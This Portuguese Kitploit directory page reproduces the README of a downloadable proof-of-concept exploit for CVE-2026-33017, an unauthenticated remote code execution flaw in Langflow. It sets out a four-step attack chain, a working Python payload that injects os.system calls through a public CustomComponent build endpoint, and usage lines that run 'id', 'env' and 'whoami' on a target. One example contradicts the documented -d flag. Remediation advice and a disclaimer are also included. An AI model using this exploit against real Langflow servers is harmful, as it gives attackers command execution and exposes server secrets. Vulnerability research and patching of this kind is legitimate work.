Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-33017-langflow-rce — Prova de conceito de exploit para CVE-2026-33017 demonstrando execução remota de código não autenticada no Langflow por meio de injeção maliciosa de CustomComponent através de endpoints públicos de build. | Kitploit
Ferramentas/GitHubGitHub/r3nsi15/cve-2026-33017-langflow-rce
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoRed TeamingDesenvolvimento de Payloads
GitHubr3nsi15/cve-2026-33017-langflow-rce

CVE-2026-33017-langflow-rce

Prova de conceito de exploit para CVE-2026-33017 demonstrando execução remota de código não autenticada no Langflow por meio de injeção maliciosa de CustomComponent através de endpoints públicos de build.

Ver Repositório
2há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-33017 — Execução Remota de Código (RCE) não autenticada no Langflow

Visão Geral

ID do CVE: CVE-2026-33017
Software Afetado: Langflow Versões Vulneráveis: <= 1.8.2 Versão Corrigida: >= 1.9.0 Severidade: Crítica
Autor: r3nsi15
Data: 2026

Descrição

O Langflow expõe um endpoint público de build de fluxos (/api/v1/build_public_tmp/{flowID}/flow) que aceita blocos de código CustomComponent arbitrários e os executa no lado do servidor sem autenticação. Ao injetar um payload Python malicioso no campo code de um nó CustomComponent, um atacante não autenticado pode executar comandos arbitrários do sistema operacional com os privilégios do processo do servidor Langflow.

A cadeia de ataque primeiro abusa do endpoint /api/v1/auto_login, que emite um token Bearer sem exigir credenciais quando o Langflow está executando em sua configuração padrão de auto-login. Em seguida, usa esse token para criar um fluxo público temporário e acionar a execução de código no servidor por meio do endpoint de build.

Endpoints Afetados

EndpointMétodoAutenticação NecessáriaFinalidade
/api/v1/auto_loginGETNãoObter token Bearer (o auto-login deve estar habilitado)
/api/v1/flows/POSTSim (Bearer)Criar um novo fluxo
/api/v1/build_public_tmp/{flowID}/flowPOSTNão (público)Acionar o build — ponto de execução vulnerável
/api/v1/flows/{flowID}DELETESim (Bearer)Limpar o fluxo criado

Prova de Conceito

Arquivo: CVE-2026-33017_POC.py

Requisitos

  • Python 3.x
  • Biblioteca requests
  • Acesso de rede a uma instância do Langflow executando com auto-login habilitado
root@kitploit:~
pip install requests

Uso

root@kitploit:~
python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]

Argumentos

FlagForma LongaObrigatórioDescrição
-u--urlSimURL base da instância do Langflow
-c--commandSimComando do sistema operacional a ser executado no servidor
-d--deleteNãoExcluir o fluxo criado após a exploração

Exemplos

Verificar a execução de código:

root@kitploit:~
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"

Recuperar variáveis de ambiente do servidor:

root@kitploit:~
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"

Manter o fluxo ativo após a exploração (ignorar a limpeza):

root@kitploit:~
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d

Saída Esperada

root@kitploit:~
[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!

Detalhamento do Payload

O exploit injeta o seguinte trecho Python no campo code de um nó CustomComponent:

root@kitploit:~
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
    display_name = "ExploitComponent"
    outputs = [Output(display_name="Result", name="output", method="run")]
    def run(self):
        return "ok"
  • __import__('os').system(...) — importa dinamicamente o módulo os e executa o comando shell fornecido pelo atacante no servidor.
  • O restante da definição da classe é um CustomComponent válido, necessário para satisfazer o carregador de componentes do Langflow sem gerar erro de análise.
  • O fluxo é criado como PUBLIC e o endpoint de build é invocado em seu endpoint público, o que significa que nenhum cookie de sessão ou token de autenticação é necessário para acionar a execução.

Causa Raiz

O sistema de CustomComponent do Langflow permite que código Python arbitrário seja enviado como parte da definição de um fluxo. O endpoint /api/v1/build_public_tmp/{flowID}/flow compila e avalia parcialmente esse código no lado do servidor, incluindo declarações de nível de módulo, sem sandboxing ou restrição de acesso a built-ins do Python, como __import__.

Resumo da Cadeia de Ataque

root@kitploit:~
1. GET /api/v1/auto_login          →  Obtain Bearer token (no credentials needed)
2. POST /api/v1/flows/             →  Create a PUBLIC flow (Bearer token)
3. POST /api/v1/build_public_tmp/  →  Inject & execute malicious CustomComponent (no auth)
4. DELETE /api/v1/flows/{id}       →  Clean up (optional)

Todas as quatro etapas podem ser realizadas por um atacante anônimo contra uma implantação padrão do Langflow.

Remediação

  • Atualize o Langflow para a versão 1.9.0 ou superior.
  • Desabilite o auto-login (LANGFLOW_AUTO_LOGIN=false) em qualquer implantação exposta à internet.

Aviso Legal

Esta prova de conceito é fornecida apenas para fins educacionais e de pesquisa de segurança autorizada. O uso deste script contra sistemas sem permissão explícita por escrito é ilegal e antiético. O autor e os colaboradores não assumem nenhuma responsabilidade pelo uso indevido.

Baixar ferramenta